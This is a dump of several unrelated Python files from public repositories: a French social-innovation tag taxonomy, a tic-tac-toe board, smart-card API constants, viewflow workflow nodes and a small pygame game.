# # "choices" : [] , # # } # # }, # # { "partners" : { "fullname" : u"Sourceurs", # # "choices" : [] , # # } # # }, # { "publics" : { "fullname" : u"Publics", # "choices" : CHOICES_PUBLICS , # } # }, # { "methods" : { # "fullname" : u"Méthodes", # "choices" : CHOICES_METHODS , # } # }, # ] # CHOICES_FILTERS_PARTNERS = [ # { "partners" : { "fullname" : u"Sourceurs", # "choices" : [] , # } # }, # ] # CHOICES_FILTERS_GEOLOC = [ # { "geoloc" : { # "fullname" : u"Localisations", # "choices" : [] , # } # }, # ] # normalization_as_json( "CHOICES_FILTERS_TAGS", CHOICES_FILTERS_TAGS ) # normalization_as_json( "CHOICES_FILTERS_PARTNERS", CHOICES_FILTERS_PARTNERS ) # normalization_as_json( "CHOICES_FILTERS_GEOLOC", CHOICES_FILTERS_GEOLOC ) CHOICES_FILTERS_TAGS = [ { "name" : u"domains_", "fullname" : u"Domaines", "choices" : [ {"name" : u"life_env" , "fullname" : u"Cadre de vie"}, {"name" : u"sust_env" , "fullname" : u"Développement durable"}, {"name" : u"eco_dev" , "fullname" : u"Développement économique"}, {"name" : u"habitat" , "fullname" : u"Habitat"}, {"name" : u"inclusion" , "fullname" : u"Inclusion"}, {"name" : u"social_net" , "fullname" : u"Lien social"}, {"name" : u"health_sport" , "fullname" : u"Santé et sport"}, {"name" : u"employment" , "fullname" : u"Travail"}, ] }, { "name" : u"pubics_", "fullname" : u"Publics", "choices" : [ # {"name" : u"" , "fullname" : u"Tous publics"}, {"name" : u"handicap" , "fullname" : u"Handicap"}, {"name" : u"youth" , "fullname" : u"Jeunesse"}, {"name" : u"senior" , "fullname" : u"Seniors"}, ] }, { "name" : u"methods_", "fullname" : u"Méthodes", "choices" : [ {"name" : u"cooperate" , "fullname" : u"Coopération"}, {"name" : u"evaluate" , "fullname" : u"Evaluation"}, {"name" : u"govern" , "fullname" : u"Gouvernance"}, {"name" : u"philantropy" , "fullname" : u"Mécénat"}, {"name" : u"mediate" , "fullname" : u"Médiation"}, {"name" : u"participate" , "fullname" : u"Participation"}, {"name" : u"research" , "fullname" : u"Recherche"}, ] , }, ] CHOICES_FILTERS_PARTNERS = [ { "name" : u"sources_", "fullname" : u"Sourceurs", "choices" : [ # {"id" : "aaaaaaaaaaaaaaaaaaaaaaaa" , "name" : u"test", "fullname" : u"test"}, {"id" : "5a9da08d0a82868f49cd3816" , "name" : u"AG2R la mondiale", "fullname" : u"AG2R la mondiale"}, {"id" : "5aa3de630a828651b2ebfe3e" , "name" : u"Apriles", "fullname" : u"Apriles"}, {"id" : "5a9d9fd80a82868f4973d2d3" , "name" : u"Avise", "fullname" : u"Avise"}, {"id" : "5ab3f5fe0a8286585d3a307e" , "name" : u"Bretagne Creative", "fullname" : u"Bretagne Creative"}, {"id" : "5aabf8250a8286bf097cec82" , "name" : u"Fondation Daniel et Nina Carasso", "fullname" : u"Fondation Daniel et Nina Carasso"}, {"id" : "5aaff7360a82860b06c94a6d" , "name" : u"Fondation Veolia", "fullname" : u"Fondation Veolia"}, {"id" : "5aaff8aa0a82860b06c94a6e" , "name" : u"Fondation Vinci", "fullname" : u"Fondation Vinci"}, {"id" : "5aaff93f0a82860b06c94a6f" , "name" : u"MOT", "fullname" : u"MOT"}, {"id" : "5aaffa390a82860b06c94a70" , "name" : u"Semeoz", "fullname" : u"Semeoz"}, {"id" : "5ab410c00a82863566d5fd05" , "name" : u"My Positive Impact", "fullname" : u"My Positive Impact"}, ] , }, ] CHOICES_FILTERS_GEOLOC = [ { "name" : u"sources_", "fullname" : u"Sourceurs", "choices" : [] , }, ] ### create ids: def add_id_key( list_of_dicts ) : for filters_list in list_of_dicts : for filter_ in filters_list["choices"] : if filter_ != [] : filter_["id"] = filters_list["name"] + filter_["name"] else : filter_["id"] = u"" return list_of_dicts CHOICES_FILTERS_TAGS = add_id_key(CHOICES_FILTERS_TAGS) # CHOICES_FILTERS_PARTNERS = add_id_key(CHOICES_FILTERS_PARTNERS) CHOICES_FILTERS_GEOLOC = add_id_key(CHOICES_FILTERS_GEOLOC) normalization_as_json( "CHOICES_FILTERS_TAGS", CHOICES_FILTERS_TAGS ) normalization_as_json( "CHOICES_FILTERS_PARTNERS", CHOICES_FILTERS_PARTNERS ) normalization_as_json( "CHOICES_FILTERS_GEOLOC", CHOICES_FILTERS_GEOLOC ) ### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ### ### NORMALIZATION / VARS ### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ### CATEGORIES_CIS_DICT = { "pubics_" : { u"handicap" : [ "HAN" ], u"youth" : [ "JEU" ], u"senior" : [ "SEN" ], }, "domains_" : { u"life_env" : [ "NUM","LOI","SAN","CUL","AME","URB","HAB" ], u"sust_env" : [ "BIO","EAU","CLI","DEC","ENE","AGR" ], u"eco_dev" : [ "ECO","FIN","COM","INS","SER","EMP" ], u"habitat" : [ "URB","HAB","MOB","AME","ENE" ], u"inclusion" : [ "HAB","INS","DRO","CIT","PAR","EDU","MED","MOB","SAN","EMP" ], u"social_net" : [ "DRO","CIT","COH","CUL","SPO","LOI" ], u"health_sport" : [ "SPO","SAN","AGR","HAN","SEN","JEU" ], u"employment" : [ "INS","EMP","FOR","EDU" ], }, "methods_" : { u"cooperate" : [ "COO" ] , u"evaluate" : [ "EVA" ] , u"govern" : [ "GOU" ] , u"philantropy" : [ "MEC" ] , u"mediate" : [ "MED" ] , u"participate" : [ "PAR" ] , u"research" : [ "REC" ] , } } normalization_as_json( "CATEGORIES_CIS_DICT", CATEGORIES_CIS_DICT ) CATEGORIES_CIS_DICT_FLAT = {} for categ, metatags in CATEGORIES_CIS_DICT.iteritems() : for k,v in metatags.iteritems() : CATEGORIES_CIS_DICT_FLAT[ categ + k ] = v normalization_as_json( "CATEGORIES_CIS_DICT_FLAT", CATEGORIES_CIS_DICT_FLAT ) NOMENCLATURE_CIS_DICT = { "AGR":{"fullname":u"Agriculture","description":u"alimentation, foret"}, "AME":{"fullname":u"Aménagement","description":u"espaces publics, gestion de l'espace"}, "AUT":{"fullname":u"Autres","description":u"société civile, Europe, observation, équipements publics"}, "BIO":{"fullname":u"Biodiversité","description":u"environnement, espaces verts"}, "CIT":{"fullname":u"Citoyenneté","description":u"citoyenneté, engagement, mobilisation citoyenne"}, "CLI":{"fullname":u"Climat","description":u"risques naturels"}, "COH":{"fullname":u"energie","description":u"solidarités, lien social, vivre ensemble, autonomie, isolement"}, "COM":{"fullname":u"Communication","description":u""}, "COP":{"fullname":u"Achats","description":u"commande publique, achats durables"}, "COR":{"fullname":u"Commerce","description":u"commerce équitable"}, "CUL":{"fullname":u"Culture","description":u"arts, patrimoine"}, "DEC":{"fullname":u"Déchets","description":u"recyclage, économie circulaire"}, "EAU":{"fullname":u"Eau","description":u""}, "ECO":{"fullname":u"Economie","description":u"développement économique, ESS, entreprenariat, monnaie locale, assurance, auto-production "}, "EDU":{"fullname":u"Education","description":u"orientation, mobilité internationale, enseignement supérieur, éducation populaire"}, "EMP":{"fullname":u"Emploi","description":u"groupement employeurs"}, "ENE":{"fullname":u"Energie","description":u""}, "EVA":{"fullname":u"Evaluation","description":u""}, "FIN":{"fullname":u"Finances","description":u"finance solidaire, micro crédit, financements européens"}, "FOR":{"fullname":u"Formation","description":u"apprentissage, enseignement"}, "GOU":{"fullname":u"Gouvernance","description":u"organisation, élus, RH, RSE"}, "HAB":{"fullname":u"Habitat","description":u"logement, éco-construction, travaux publics, rénovation"}, "HAN":{"fullname":u"Handicap","description":u""}, "INS":{"fullname":u"Insertion","description":u"insertion professionnelle"}, "JEU":{"fullname":u"Jeunesse","description":u"enfance"}, "DRO":{"fullname":u"Droits","description":u"justice, accès aux droits, lutte contre discriminations, harcèlement, sécurité, protection, égalité homme femmes, non recours"}, "LOI":{"fullname":u"Loisirs","description":u"vacances"}, "MED":{"fullname":u"Médiation","description":u""}, "MOB":{"fullname":u"Mobilité","description":u"permis de conduire, transports"}, "NUM":{"fullname":u"Numérique","description":u""}, "PAR":{"fullname":u"Participation","description":u"démarches participatives, mobilisation locale, participation usagers"}, "REC":{"fullname":u"Recherche ","description":u""}, "SAN":{"fullname":u"Santé","description":u""}, "SEN":{"fullname":u"Seniors","description":u"intergénérationnel"}, "SER":{"fullname":u"Services","description":u"services à la population, accueil de jour, accompagnement, animation"}, "SPO":{"fullname":u"Sports","description":u""}, "TOU":{"fullname":u"Tourisme","description":u""}, "URB":{"fullname":u"Urbanisme","description":u""}, "COO":{"fullname":u"Coopération","description":u"coopération, partenariats, réseaux"}, "MEC":{"fullname":u"Mécénat","description":u"mécénat, mécénat d'entreprises"} } normalization_as_json( "NOMENCLATURE_CIS_DICT", NOMENCLATURE_CIS_DICT ) NOMENCLATURE_CIS_LIST = [ {"code" : k , "fullname" : v["fullname"], "description" : v["description"] } for k,v in NOMENCLATURE_CIS_DICT.iteritems() ] ### TEMPORARY SOLUTION <-- from https://docs.google.com/spreadsheets/d/1c5m5sxza2ehtBPB7mCc8GWKG21pxTVPSuIy0xQ6mYSo/edit#gid=694276620 NORMALIZATION_TAGS_SOURCES_CIS = [ {"name":u"Energie","codes":["ENE"],"from":u"ADEME innovation sociale"}, {"name":u"Alimentation","codes":["AGR"],"from":u"ADEME innovation sociale"}, {"name":u"Partage","codes":["AUT"],"from":u"ADEME innovation sociale"}, {"name":u"Autonomie","codes":["SEN","HAN","COH"],"from":u"ODAS - APRILES"}, {"name":u"Insertion","codes":["INS","FOR","COH"],"from":u"ODAS - APRILES"}, {"name":u"Enfance / Famille","codes":["JEU","EDU","COH"],"from":u"ODAS - APRILES"}, {"name":u"Vie des territoires","codes":["COO","PAR","COH"],"from":u"ODAS - APRILES"}, {"name":u"Santé","codes":["SAN","SER","COH"],"from":u"ODAS - APRILES"}, {"name":u"identité","codes":["AUT"],"from":u"Atlaas - villes internet"}, {"name":u"vie associative","codes":["AUT"],"from":u"Atlaas - villes internet"}, {"name":u"services publics","codes":["AUT"],"from":u"Atlaas - villes internet"}, {"name":u"démocratie locale","codes":["GOU","PAR","COO"],"from":u"Atlaas - villes internet"}, {"name":u"vie quotidienne","codes":["AUT"],"from":u"Atlaas - villes internet"}, {"name":u"cohésion sociale","codes":["COH"],"from":u"Atlaas - villes internet"}, {"name":u"solidarités","codes":["COH"],"from":u"Atlaas - villes internet"}, {"name":u"territoire durable","codes":["GOU","AME"],"from":u"Atlaas - villes internet"}, {"name":u"éducation","codes":["EDU"],"from":u"Atlaas - villes internet"}, {"name":u"médiation","codes":["MED"],"from":u"Atlaas - villes internet"}, {"name":u"coopération","codes":["GOU","COO"],"from":u"Atlaas - villes internet"}, {"name":u"culture et patrimoine","codes":["CUL"],"from":u"Atlaas - villes internet"}, {"name":u"emploi","codes":["EMP"],"from":u"Atlaas - villes internet"}, {"name":u"innovation","codes":["AUT"],"from":u"Atlaas - villes internet"}, {"name":u"développement économique ","codes":["ECO"],"from":u"Atlaas - villes internet"}, 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{"name":u"Conseil","codes":["SER"],"from":u"GNIAC"}, {"name":u"Echange de services","codes":["SER"],"from":u"GNIAC"}, {"name":u"Entreprises solidaires","codes":["ECO"],"from":u"GNIAC"}, {"name":u"Expertise pratique collaborative","codes":["AUT"],"from":u"GNIAC"}, {"name":u"Finance participative","codes":["FIN"],"from":u"GNIAC"}, {"name":u"Lien social dans les quartiers","codes":["COH"],"from":u"GNIAC"}, {"name":u"Logement, santé, éducation, environnement","codes":["HAB","SAN","EDU"],"from":u"GNIAC"}, {"name":u"Plateforme fédératrice d'entreprises","codes":["ECO","GOU","COO"],"from":u"GNIAC"}, {"name":u"Plateformes web","codes":["NUM"],"from":u"GNIAC"}, {"name":u"Promoteur d'initiatives","codes":["AUT"],"from":u"GNIAC"}, {"name":u"Réseaux","codes":["GOU","COO"],"from":u"GNIAC"}, {"name":u"Soutien création d'entreprise","codes":["ECO"],"from":u"GNIAC"}, {"name":u"Soutien recherche d'emploi","codes":["EMP"],"from":u"GNIAC"}, {"name":u"Think Tank / Do Tank","codes":["AUT"],"from":u"GNIAC"}, # {"name":u"Pas de catégories thématiques","codes":[""],"from":u"La part du colibri"}, ] normalization_as_json( "NORMALIZATION_TAGS_SOURCES_CIS", NORMALIZATION_TAGS_SOURCES_CIS ) NORMALIZATION_TAGS_SOURCES_CIS_DICT = { k : [] for k in NOMENCLATURE_CIS_DICT.keys() } for tag in NORMALIZATION_TAGS_SOURCES_CIS : # print tag for code in tag["codes"] : if tag["name"] not in NORMALIZATION_TAGS_SOURCES_CIS_DICT[code] : NORMALIZATION_TAGS_SOURCES_CIS_DICT[code].append(tag["name"]) for k,v in NORMALIZATION_TAGS_SOURCES_CIS_DICT.iteritems() : v.sort() normalization_as_json( "NORMALIZATION_TAGS_SOURCES_CIS_DICT", NORMALIZATION_TAGS_SOURCES_CIS_DICT ) # from pprint import pprint, pformat # pprint(NORMALIZATION_TAGS_SOURCES_CIS_DICT)

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SamiraHuber/Python-Mini-Games

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70ae8fd4f597b0208aeaee2dbfc6706ce068af25

0134d0262626fb6fa50550160decf25a5cb43de4

/tic-tac-toe/board.py

5707699b094711470a1a9704b10dcbc34996732e

[]

no_license

https://github.com/SamiraHuber/Python-Mini-Games

98bd0c0fd480692cd90c3945dc5d00ae034ec809

4e440b4aee6f1a983052b140a6f61b2c2dc9a3fb

refs/heads/master

2020-09-14T13:57:45.251126

2019-11-25T15:43:05

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class board: array = [[" ", " ", " "], [" ", " ", " "], [" ", " ", " "]] def print_it(self): for row in range(3): print(self.array[row]) def make_turn(self, sign, position): self.array[position[0]][position[1]] = sign def is_empty(self, position): return self.array[position[0]][position[1]] == ' ' def is_player(self, position): return self.array[position[0]][position[1]] == 'O' def is_cpu(self, position): return self.array[position[0]][position[1]] == 'X' def is_finished(self): for row in range(3): amount = 0 for col in range(3): if self.is_player([row, col]): amount = amount + 1 elif self.is_cpu([row, col]): amount = amount - 1 if amount == 3: print('YOU WON') return 1 if amount == -3: print('YOU LOST') return 1 for row in range(3): amount = 0 for col in range(3): if self.is_player([col, row]): amount = amount + 1 elif self.is_cpu([col, row]): amount = amount - 1 if amount == 3: print('YOU WON') return 1 if amount == -3: print('YOU LOST') return 1 amount = 0 for pos in range(3): if self.is_player([pos, pos]): amount = amount + 1 if self.is_cpu([pos, pos]): amount = amount - 1 if amount == 3: print('YOU WON') return 1 if amount == -3: print('YOU LOST') return 1 if self.is_player([0, 2]) and self.is_player([2, 0]) and self.is_player([1, 1]): print('YOU WON') return 1 if self.is_cpu([0, 2]) and self.is_cpu([2, 0]) and self.is_cpu([1, 1]): print('YOU LOST') return 1 for row in range(3): for col in range(3): if self.is_empty([row, col]): return 0 print('NO WINNER') return 1

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0therGuys/exile

11,519,102,317,647

970f01d4356946dce1ae88e628618d0cf29ca694

596f1e2eaf3198c4fc157ed9115edcad25753666

/exile/scard/const.py

86eccfbd671f743061d41d5574b56881e5fbfe1c

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38fd9c4d22edcecae0b6fd4dbc9a9d894f366b2f

refs/heads/master

2023-08-18T05:30:43.858100

2021-09-24T16:13:39

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from enum import Enum class SCardConstants: """ https://docs.microsoft.com/en-us/windows/desktop/api/winscard """ MAX_BUFFER_SIZE = 264 """Maximum Tx/Rx Buffer for short APDU""" MAX_BUFFER_SIZE_EXTENDED = 4 + 3 + (1 << 16) + 3 """enhanced (64K + APDU + Lc + Le) Tx/Rx Buffer""" MAX_ATR_SIZE = 33 MAX_READERNAME = 52 class SCardStatus(Enum): S_SUCCESS = 0x00000000 """No error was encountered.""" F_INTERNAL_ERROR = 0x80100001 """An internal consistency check failed.""" E_CANCELLED = 0x80100002 """The action was cancelled by an SCardCancel request.""" E_INVALID_HANDLE = 0x80100003 """The supplied handle was invalid.""" E_INVALID_PARAMETER = 0x80100004 """One or more of the supplied parameters could not be properly interpreted.""" E_INVALID_TARGET = 0x80100005 """Registry startup information is missing or invalid.""" E_NO_MEMORY = 0x80100006 """Not enough memory available to complete this command.""" F_WAITED_TOO_LONG = 0x80100007 """An internal consistency timer has expired.""" E_INSUFFICIENT_BUFFER = 0x80100008 """The data buffer to receive returned data is too small for the returned data.""" E_UNKNOWN_READER = 0x80100009 """The specified reader name is not recognized.""" E_TIMEOUT = 0x8010000A """The user-specified timeout value has expired.""" E_SHARING_VIOLATION = 0x8010000B """The smart card cannot be accessed because of other connections outstanding.""" E_NO_SMARTCARD = 0x8010000C """The operation requires a Smart Card, but no Smart Card is currently in the device.""" E_UNKNOWN_CARD = 0x8010000D """The specified smart card name is not recognized.""" E_CANT_DISPOSE = 0x8010000E """The system could not dispose of the media in the requested manner.""" E_PROTO_MISMATCH = 0x8010000F """The requested protocols are incompatible with the protocol currently in use with the smart card.""" E_NOT_READY = 0x80100010 """The reader or smart card is not ready to accept commands.""" E_INVALID_VALUE = 0x80100011 """One or more of the supplied parameters values could not be properly interpreted.""" E_SYSTEM_CANCELLED = 0x80100012 """The action was cancelled by the system, presumably to log off or shut down.""" F_COMM_ERROR = 0x80100013 """An internal communications error has been detected.""" F_UNKNOWN_ERROR = 0x80100014 """An internal error has been detected, but the source is unknown.""" E_INVALID_ATR = 0x80100015 """An ATR obtained from the registry is not a valid ATR string.""" E_NOT_TRANSACTED = 0x80100016 """An attempt was made to end a non-existent transaction.""" E_READER_UNAVAILABLE = 0x80100017 """The specified reader is not currently available for use.""" P_SHUTDOWN = 0x80100018 """The operation has been aborted to allow the server application to exit.""" E_PCI_TOO_SMALL = 0x80100019 """The PCI Receive buffer was too small.""" E_READER_UNSUPPORTED = 0x8010001A """The reader driver does not meet minimal requirements for support.""" E_DUPLICATE_READER = 0x8010001B """The reader driver did not produce a unique reader name.""" E_CARD_UNSUPPORTED = 0x8010001C """The smart card does not meet minimal requirements for support.""" E_NO_SERVICE = 0x8010001D """The Smart card resource manager is not running.""" E_SERVICE_STOPPED = 0x8010001E """The Smart card resource manager has shut down.""" E_UNEXPECTED = 0x8010001F """An unexpected card error has occurred.""" E_ICC_INSTALLATION = 0x80100020 """No primary provider can be found for the smart card.""" E_ICC_CREATEORDER = 0x80100021 """The requested order of object creation is not supported.""" E_UNSUPPORTED_FEATURE = 0x80100022 """This smart card does not support the requested feature.""" E_DIR_NOT_FOUND = 0x80100023 """The identified directory does not exist in the smart card.""" E_FILE_NOT_FOUND = 0x80100024 """The identified file does not exist in the smart card.""" E_NO_DIR = 0x80100025 """The supplied path does not represent a smart card directory.""" E_NO_FILE = 0x80100026 """The supplied path does not represent a smart card file.""" E_NO_ACCESS = 0x80100027 """Access is denied to this file.""" E_WRITE_TOO_MANY = 0x80100028 """The smart card does not have enough memory to store the information.""" E_BAD_SEEK = 0x80100029 """There was an error trying to set the smart card file object pointer.""" E_INVALID_CHV = 0x8010002A """The supplied PIN is incorrect.""" E_UNKNOWN_RES_MNG = 0x8010002B """An unrecognized error code was returned from a layered component.""" E_NO_SUCH_CERTIFICATE = 0x8010002C """The requested certificate does not exist.""" E_CERTIFICATE_UNAVAILABLE = 0x8010002D """The requested certificate could not be obtained.""" E_NO_READERS_AVAILABLE = 0x8010002E """Cannot find a smart card reader.""" E_COMM_DATA_LOST = 0x8010002F """A communications error with the smart card has been detected. Retry the operation.""" E_NO_KEY_CONTAINER = 0x80100030 """The requested key container does not exist on the smart card.""" E_SERVER_TOO_BUSY = 0x80100031 """The Smart Card Resource Manager is too busy to complete this operation.""" W_UNSUPPORTED_CARD = 0x80100065 """The reader cannot communicate with the card, due to ATR string configuration conflicts.""" W_UNRESPONSIVE_CARD = 0x80100066 """The smart card is not responding to a reset.""" W_UNPOWERED_CARD = 0x80100067 """Power has been removed from the smart card, so that further communication is not possible.""" W_RESET_CARD = 0x80100068 """The smart card has been reset, so any shared state information is invalid.""" W_REMOVED_CARD = 0x80100069 """The smart card has been removed, so further communication is not possible.""" W_SECURITY_VIOLATION = 0x8010006A """Access was denied because of a security violation.""" W_WRONG_CHV = 0x8010006B """The card cannot be accessed because the wrong PIN was presented.""" W_CHV_BLOCKED = 0x8010006C """The card cannot be accessed because the maximum number of PIN entry attempts has been reached.""" W_EOF = 0x8010006D """The end of the smart card file has been reached.""" W_CANCELLED_BY_USER = 0x8010006E """The user pressed "Cancel" on a Smart Card Selection Dialog.""" W_CARD_NOT_AUTHENTICATED = 0x8010006F """No PIN was presented to the smart card.""" class Scope: USER = 0x0000 """Scope in user space""" TERMINAL = 0x0001 """Scope in terminal""" SYSTEM = 0x0002 """Scope in system""" class Protocol: UNDEFINED = 0x0000 """protocol not set""" UNSET = UNDEFINED T0 = 0x0001 """T=0 active protocol.""" T1 = 0x0002 """T=1 active protocol.""" RAW = 0x0004 """Raw active protocol.""" T15 = 0x0008 """T=15 protocol.""" ANY = T0 | T1 """IFD determines prot.""" class ShareMode: EXCLUSIVE = 0x0001 """Exclusive mode only""" SHARED = 0x0002 """Shared mode only""" DIRECT = 0x0003 """Raw mode only""" class Disposition: LEAVE_CARD = 0x0000 """Do nothing on close""" RESET_CARD = 0x0001 """Reset on close""" UNPOWER_CARD = 0x0002 """Power down on close""" EJECT_CARD = 0x0003 """Eject on close""" class CardState: UNKNOWN = 0x0001 """Unknown state""" ABSENT = 0x0002 """Card is absent""" PRESENT = 0x0004 """Card is present""" SWALLOWED = 0x0008 """Card not powered""" POWERED = 0x0010 """Card is powered""" NEGOTIABLE = 0x0020 """Ready for PTS""" SPECIFIC = 0x0040 """PTS has been set""" class ReaderState: UNAWARE = 0x0000 """App wants status""" IGNORE = 0x0001 """Ignore this reader""" CHANGED = 0x0002 """State has changed""" UNKNOWN = 0x0004 """Reader unknown""" UNAVAILABLE = 0x0008 """Status unavailable""" EMPTY = 0x0010 """Card removed""" PRESENT = 0x0020 """Card inserted""" ATRMATCH = 0x0040 """ATR matches card""" EXCLUSIVE = 0x0080 """Exclusive Mode""" INUSE = 0x0100 """Shared Mode""" MUTE = 0x0200 """Unresponsive card""" UNPOWERED = 0x0400 """Unpowered card"""

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mspgeek/Client_Portal

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/Lib/site-packages/viewflow/flow/nodes.py

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https://github.com/mspgeek/Client_Portal

cd513308840aa4203554ebc1160f17f0dd4b17cf

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refs/heads/master

2023-03-07T21:33:22.767108

2020-04-08T01:43:19

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from .. import nodes from . import views from .activation import ManagedStartViewActivation, ManagedViewActivation class StartFunction(nodes.StartFunction): """ StartNode that can be executed within you code. Example:: class MyFlow(Flow): start = flow.StartFunction(this.create_request) def create_request(self, activation, **kwargs): activation.prepare() activation.done() MyFlow.create_request.run(**kwargs) .. note:: Any kwarg you pass of the run call will be passed to the function. """ activate_next_view_class = views.ActivateNextTaskView cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView perform_view_class = views.PerformTaskView undo_view_class = views.UndoTaskView class Function(nodes.Function): """ Node that can be executed within you code. Example:: class MyFlow(Flow): my_task = flow.Function(this.perform_my_task) @method_decorator(flow.flow_func(task_loader=lambda flow_task, **kwargs: ... )) def perform_my_task(self, activation, **kwargs): activation.prepare() activation.done() MyFlow.my_task.run(**kwargs) .. note:: Any kwarg you pass of the run call will be passed to the function. """ activate_next_view_class = views.ActivateNextTaskView cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView perform_view_class = views.PerformTaskView undo_view_class = views.UndoTaskView class Handler(nodes.Handler): """ Node that can be executed automatically after task was created. In difference to :class:`.Function` a :class:`.Handler` is not explicitly called in code, but executes automatically. Example:: class MyFlow(Flow): my_task = ( flow.Handler(this.handler_proc) .Next(this.End) ) def my_handler(self. activation): # Your custom code pass .. note:: You don't need to call ``prepare()`` or ``done()`` on the activation in you handler callback. """ activate_next_view_class = views.ActivateNextTaskView cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView perform_view_class = views.PerformTaskView undo_view_class = views.UndoTaskView class If(nodes.If): """ Activates one of paths based on condition. Example:: class MyFlow(Flow): check_approve = ( flow.If(lambda activation: activation.process.is_approved) .Then(this.send_message) .Else(this.end_rejected) ) """ cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView perform_view_class = views.PerformTaskView undo_view_class = views.UndoTaskView class Switch(nodes.Switch): """Activates first path with matched condition.""" cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView perform_view_class = views.PerformTaskView undo_view_class = views.UndoTaskView class Join(nodes.Join): """ Waits for one or all incoming links and activates next path. Join should be connected to one split task only. Example:: join_on_warehouse = flow.Join().Next(this.next_task) """ cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView perform_view_class = views.PerformTaskView undo_view_class = views.UndoTaskView class Split(nodes.Split): """ Activates outgoing path in-parallel depends on per-path condition. Example:: split_on_decision = ( flow.Split() .Next(check_post, cond=lambda p: p,is_check_post_required) .Next(this.perform_task_always) ) """ cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView perform_view_class = views.PerformTaskView undo_view_class = views.UndoTaskView class AbstractJob(nodes.AbstractJob): """Base task for background jobs.""" cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView perform_view_class = views.PerformTaskView undo_view_class = views.UndoTaskView class StartSignal(nodes.StartSignal): """ StartNode that connects to a django signal. Example:: def my_start_receiver(activation, **signal_kwargs): activation.prepare() # You custom code activation.done() class MyFlow(Flow): start = flow.StartSignal(post_save, my_start_receiver, sender=MyModelCls) .. note:: The first argument of your receiver will be the activation. """ cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView undo_view_class = views.UndoTaskView class Signal(nodes.Signal): """ Node that connects to a django signal. Example:: create_model = flow.Signal(post_create, my_receiver, sender=MyModelCls) .. note:: Other than the :class:`.StartSignal` you will need to provide activation for your receiver yourself. This can be done using the :func:`.flow_signal` decorator. """ cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView undo_view_class = views.UndoTaskView class Start(nodes.Start): """ Start process event. Example:: start = ( flow.Start(StartView, fields=["some_process_field"]) .Available(lambda user: user.is_super_user) .Next(this.next_task) ) In case of function based view:: start = flow.Start(start_process) @flow_start_view() def start_process(request, activation): if not activation.has_perm(request.user): raise PermissionDenied activation.prepare(request.POST or None) form = SomeForm(request.POST or None) if form.is_valid(): form.save() activation.done() return redirect('/') return render(request, {'activation': activation, 'form': form}) Ensure to include `{{ activation.management_form }}` inside template, to proper track when task was started and other task performance statistics:: <form method="POST"> {{ form }} {{ activation.management_form }} <button type="submit"/> </form> """ activate_next_view_class = views.ActivateNextTaskView cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView undo_view_class = views.UndoTaskView start_view_class = views.CreateProcessView activation_class = ManagedStartViewActivation class View(nodes.View): """ View task. Example:: task = ( flow.View(some_view) .Permission('my_app.can_do_task') .Next(this.next_task) ) In case of function based view:: task = flow.Task(task) @flow_start_view() def task(request, activation): if not activation.flow_task.has_perm(request.user): raise PermissionDenied activation.prepare(request.POST or None) form = SomeForm(request.POST or None) if form.is_valid(): form.save() activation.done() return redirect('/') return render(request, {'activation': activation, 'form': form}) Ensure to include `{{ activation.management_form }}` inside template, to proper track when task was started and other task performance statistics:: <form method="POST"> {{ form }} {{ activation.management_form }} <button type="submit"/> </form> """ activate_next_view_class = views.ActivateNextTaskView cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView undo_view_class = views.UndoTaskView assign_view_class = views.AssignTaskView unassign_view_class = views.UnassignTaskView activation_class = ManagedViewActivation class End(nodes.End): """End process event.""" cancel_view_class = views.CancelTaskView detail_view_class = views.DetailTaskView perform_view_class = views.PerformTaskView undo_view_class = views.UndoTaskView

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yuanyuhua/1807-2

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/08day/飞机大战主类.py

c3b3470642b08b2d32150a4a5bc60ef923928467

[]

no_license

https://github.com/yuanyuhua/1807-2

ef667167d4fce242f1963001ba9bb30bf00b2305

1a3efcfa6898cfa1e650ae3c90681a9b921ac1f8

refs/heads/master

2020-03-25T10:05:03.969310

2018-08-20T07:48:57

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import pygame from jinglingzu import * pygame.init() #初始化 yh = pygame.Rect(480,300,120,120) screen = pygame.display.set_mode((480,700))#创建游戏窗口，宽度和高度 bg = pygame.image.load("./images/background.png")#插入背景 hero = pygame.image.load("./images/hero1.png")#插入英雄 #screen.blit(hero,(200,500))#英雄的位置 herorect = pygame.Rect(200,500,120,120)#把不规则的飞机圈到规则的长方形中 clock = pygame.time.Clock()#while true太快，创建时间钟 enemy = EnemySprite()#创建敌机精灵 enemy1 = EnemySprite()#创建敌机精灵 enemy1.rect.x = 50 #往右边靠点，避免飞机撞在一起 enemy1.rect.y = 700 enemy1.speed = -2 #速度不同 enemy_group = pygame.sprite.Group(enemy,enemy1)#把精灵加到精灵组 while True: #游戏循环 clock.tick(60)#一秒刷新60次 herorect.y -= 10#飞机往上走 screen.blit(bg,(0,0)) #先绘制背景 screen.blit(hero,herorect) #再绘制飞机 if herorect.bottom <= 0:#飞机飞出去了 herorect.top = 700#y轴为700，控制飞机返航 enemy_group.update() #精灵组更新 enemy_group.draw(screen) #画到哪 #事件监听 for event in pygame.event.get(): # 判断用户是否点击了关闭按钮 if event.type == pygame.QUIT: print("退出游戏...") pygame.quit() # 直接退出系统 #exit() pygame.display.update()#更新

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t=6.892 d=19.7 v=d/t print(round(v,1))

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/src/models/mysql_model.py

c3f5d4c1971eaacfc2e2d4ff49a960565917f34d

[]

no_license

https://github.com/yashgoyal07/contacts_manager

49699c6940448a60fea528453b7884e0f0ffeda7

ef834b0bde04ec6cc785be19e597e65d8a94884f

refs/heads/main

2023-06-04T10:49:39.518863

2021-06-28T17:11:46

319,005,596

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null

